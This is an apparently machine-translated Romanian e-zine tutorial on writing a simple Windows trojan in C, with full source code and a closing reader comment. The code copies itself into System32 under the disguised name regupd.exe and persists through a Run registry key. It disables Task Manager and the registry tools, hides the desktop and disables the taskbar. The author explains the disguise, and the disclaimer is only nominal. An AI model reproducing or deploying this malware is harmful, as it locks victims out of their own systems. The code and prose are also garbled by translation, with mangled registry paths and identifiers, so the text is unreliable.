Scrierea unui simplu troian, vr-online - gratuit de e-zine pentru toți
Bună ziua tuturor. Acum am să-ți spun cum să scrie un troian. Deși considerat a fi un malware troian, iar în acest articol vă voi arăta un exemplu de applet-uri dure în mod clar reale (chiar dacă benzi desenate, gluma va fi foarte supărat), pe baza acestui material și imaginația ta, poți face program de glume aproape inofensive.
Înainte de a începe, vreau să spun că eu iau nici o responsabilitate pentru modul în care și în ce scop veți folosi materialul. Cu toate acestea, vreau să vă atrag atenția asupra faptului că Codul penal interzice scrierea și utilizarea unor astfel de software.
Un alt dezavantaj major al programului nostru este că orice antivirus normale va detecta și a bloca accesul ei la sistem. Dar dacă vorbim despre aceeași veche prietenă, ea nu prea stie ce anti-virus și ce să facă cu ea.
În general, programul nu este perfect, și poate cu greu scrie aceste lucruri, dar cineva ar putea răcească util. În continuare, vă sugerez codul de program cu o descriere detaliată.
int APIENTRY _tWinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
return 0;
>
Totul! Acum suntem gata să scrie cod!
În primul rând, trebuie să includeți windows.h fișierul antet. Acesta conținea o descriere a tuturor API - funcții, macro-uri și toate partajate toate tipurile de date folosite de diferite funcții și subsisteme. De asemenea, în fișierul windows.h conectează fișierul windef.h, care definește limita MAX_PATH constantă (vom folosi mai târziu). Valoarea constantei depinde de sistemul de operare și FS (File System). Pentru WinXP cu NTFS, valoarea este de 260. În plus windows.h noi este nevoie de nimic mai mult pentru a se conecta, astfel încât trecerea la funcția principală (). Practic, programul nostru va consta doar din funcția principală (), astfel încât arunca toate codul dintr-o dată inutil. Voi explica toate din cod în părți, iar la sfârșitul acestei secțiuni, voi arunca tot codul pe care ar trebui să obținem.
Adăugați la codul între gulerului de deschidere ( <) и оператором return следующий код:
sistem char [MAX_PATH];
char pathtofile [MAX_PATH];
GetModuleFileName (HModule, pathtofile, sizeof (pathtofile));
GetSystemDirectory (sistem, sizeof (sistem));
Funcția GetModuleHandle cu un parametru NULL returnează descriptorul de fișier folosit pentru a crea procesul apelant. Funcția GetModuleFileName scrie la calea pathtofile variabilă la HModule descriptor de fișier. Acum am pathtofile magazine variabile calea către fișierul nostru. Rămâne pentru noi să arunce fișierul în directorul System32.
Cred că sensul următoarelor funcții este clar din titlu: copiază calea către directorul System32 la un sistem variabil. Funcția strcat, vom adăuga la sistemul variabil (care stochează calea către directorul System32) «\\ regupd.exe» șir, acesta va fi numele exemplul programului nostru într-un dosar cu sistemul. Acest lucru se face în cazul în care o victimă bruscă va merge la această locație, nu a putut găsi imediat „virus“ nostru. Recunoaste, fișier regupd provoacă mai puține suspiciuni decât fișierul MyVirus.
Compilați programul și du-te la folderul System32. Acolo puteți vedea fișierul nostru nou creat. Acum trebuie să pună în aplicare fișierul nostru la pornire și de a face ceva urât. Prima problemă este rezolvată după cum urmează:
HKEY hKey;
RegOpenKeyEx (HKEY_LOCAL_MACHINE, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ Run", 0, KEY_SET_VALUE, -hKey);
RegSetValueEx (hKey, "Registru Update", 0, REG_SZ, (const char * nesemnate) de sistem, sizeof (sistem));
RegCloseKey (hKey);
Prima linie de cod declară o variabilă de tip HKEY. Acest tip este un descriptor al unei chei de registru. Fișierul windef.h acest tip este definit ca
HKEY MÂNER typedef
Funcția RegCloseKey () închide descriptor cheie.
Asta e tot, cu prima sarcină, ne-am dat seama: avem de a introduce fișierul nostru la pornire. Rămâne de a veni cu un fel de glumă.
Ceea ce am venit cu, știi deja. Acum, vă voi arăta doar cum să-l pună în aplicare. În primul rând, un material pic de fond:
Pentru a interzice lansarea Task Manager, urmați acești pași:
ban Task Manager trebuie să ne asigurăm că procesul nostru nu a putut ucide cu Task Manager. Cu toate că poate fi ucis prin utilizarea Tasklist - taskkill, nu toată lumea știe despre această metodă.
Aici este codul care pune în aplicare toate cele de mai sus, și mai mult de un lucru:
valoarea DWORD = 1;
RegOpenKeyEx (HKEY_CURRENT_USER, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ Politici \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (hKey, "DisableTaskMgr", NULL, REG_DWORD, (BYTE *) - valoare, sizeof (DWORD));
RegCloseKey (hKey);
RegOpenKeyEx (HKEY_CURRENT_USER, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ Politici \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (hKey, "DisableRegistryTools", NULL, REG_DWORD, (BYTE *) - valoare, sizeof (DWORD));
RegCloseKey (hKey);
RegOpenKeyEx (HKEY_CURRENT_USER, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ \\ Politici Explorer", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (hKey, "NoDesktop", NULL, REG_DWORD, (BYTE *) - valoare, sizeof (DWORD));
RegCloseKey (hKey);
hTaskBar = FindWindow ( "Shell_TrayWnd", NULL);
EnableWindow (hTaskBar, valoare!);
Totul este clar, cu excepția ultimelor 6-siruri de caractere. Primele trei dintre aceste șase desktop-curat.
Și apoi vom găsi mânerul în bara de activități și să-l (bara de activități nu este disponibil).
Aici este întregul cod:
#include "stdafx.h"
#include "vir.h"
int APIENTRY _tWinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
sistem char [MAX_PATH];
char pathtofile [MAX_PATH];
GetModuleFileName (GetHModule, pathtofile, sizeof (pathtofile));
GetSystemDirectory (sistem, sizeof (sistem));
RegOpenKeyEx (HKEY_LOCAL_MACHINE, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ Run", 0, KEY_SET_VALUE, -hKey);
RegSetValueEx (hKey, "Registru Update", 0, REG_SZ, (const char * nesemnate) de sistem, sizeof (sistem));
RegOpenKeyEx (HKEY_CURRENT_USER, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ Politici \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (hKey, "DisableTaskMgr", NULL, REG_DWORD, (BYTE *) - valoare, sizeof (DWORD));
RegCloseKey (hKey);
RegOpenKeyEx (HKEY_CURRENT_USER, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ Politici \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (hKey, "DisableRegistryTools", NULL, REG_DWORD, (BYTE *) - valoare, sizeof (DWORD));
RegCloseKey (hKey);
RegOpenKeyEx (HKEY_CURRENT_USER, "Software-ul \\ Microsoft \\ pentru Windows \\ CurrentVersion \\ \\ Politici Explorer", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (hKey, "NoDesktop", NULL, REG_DWORD, (BYTE *) - valoare, sizeof (DWORD));
RegCloseKey (hKey);
hTaskBar = FindWindow ( "Shell_TrayWnd", NULL);
EnableWindow (hTaskBar, valoare!);
În general, troienii - cea mai simplă formă de malware, a căror complexitate depinde exclusiv de complexitatea problemei reale și agenți de mascare. Ca un agent de mascare am numit-o RegUpd și registru creat de actualizare opțiune Registry, că programul nostru ar trezi mai puține suspiciuni. Dar, în ceea ce privește adevărata problemă, atunci totul este trecut pe la fantezie dvs., vă puteți imagina că este ceea ce va face troienii.
Toate acestea este lecția noastră este de peste. Sper că cineva va veni la îndemână acest material. Și, deși îl puteți folosi în orice ordine dorită, este mai bine să-l folosească pentru o glumă inofensiv.
Scris de: Sergei Dubovik aka SD.
Citat Dacă dintr-o dată cineva vrea să-l testeze
Încercați să-l rula pe vin7, există multe referiri la registru, cred că acest lucru (troianul nu îndrăznesc să numesc acest lucru) nu este ceva care nu este Probet Windu, și etapa de verificare ulterioare antivirale vor fi expuse!
PS - dar, în general, acest lucru nu este un troian, este caracteristicile unui vierme convențional!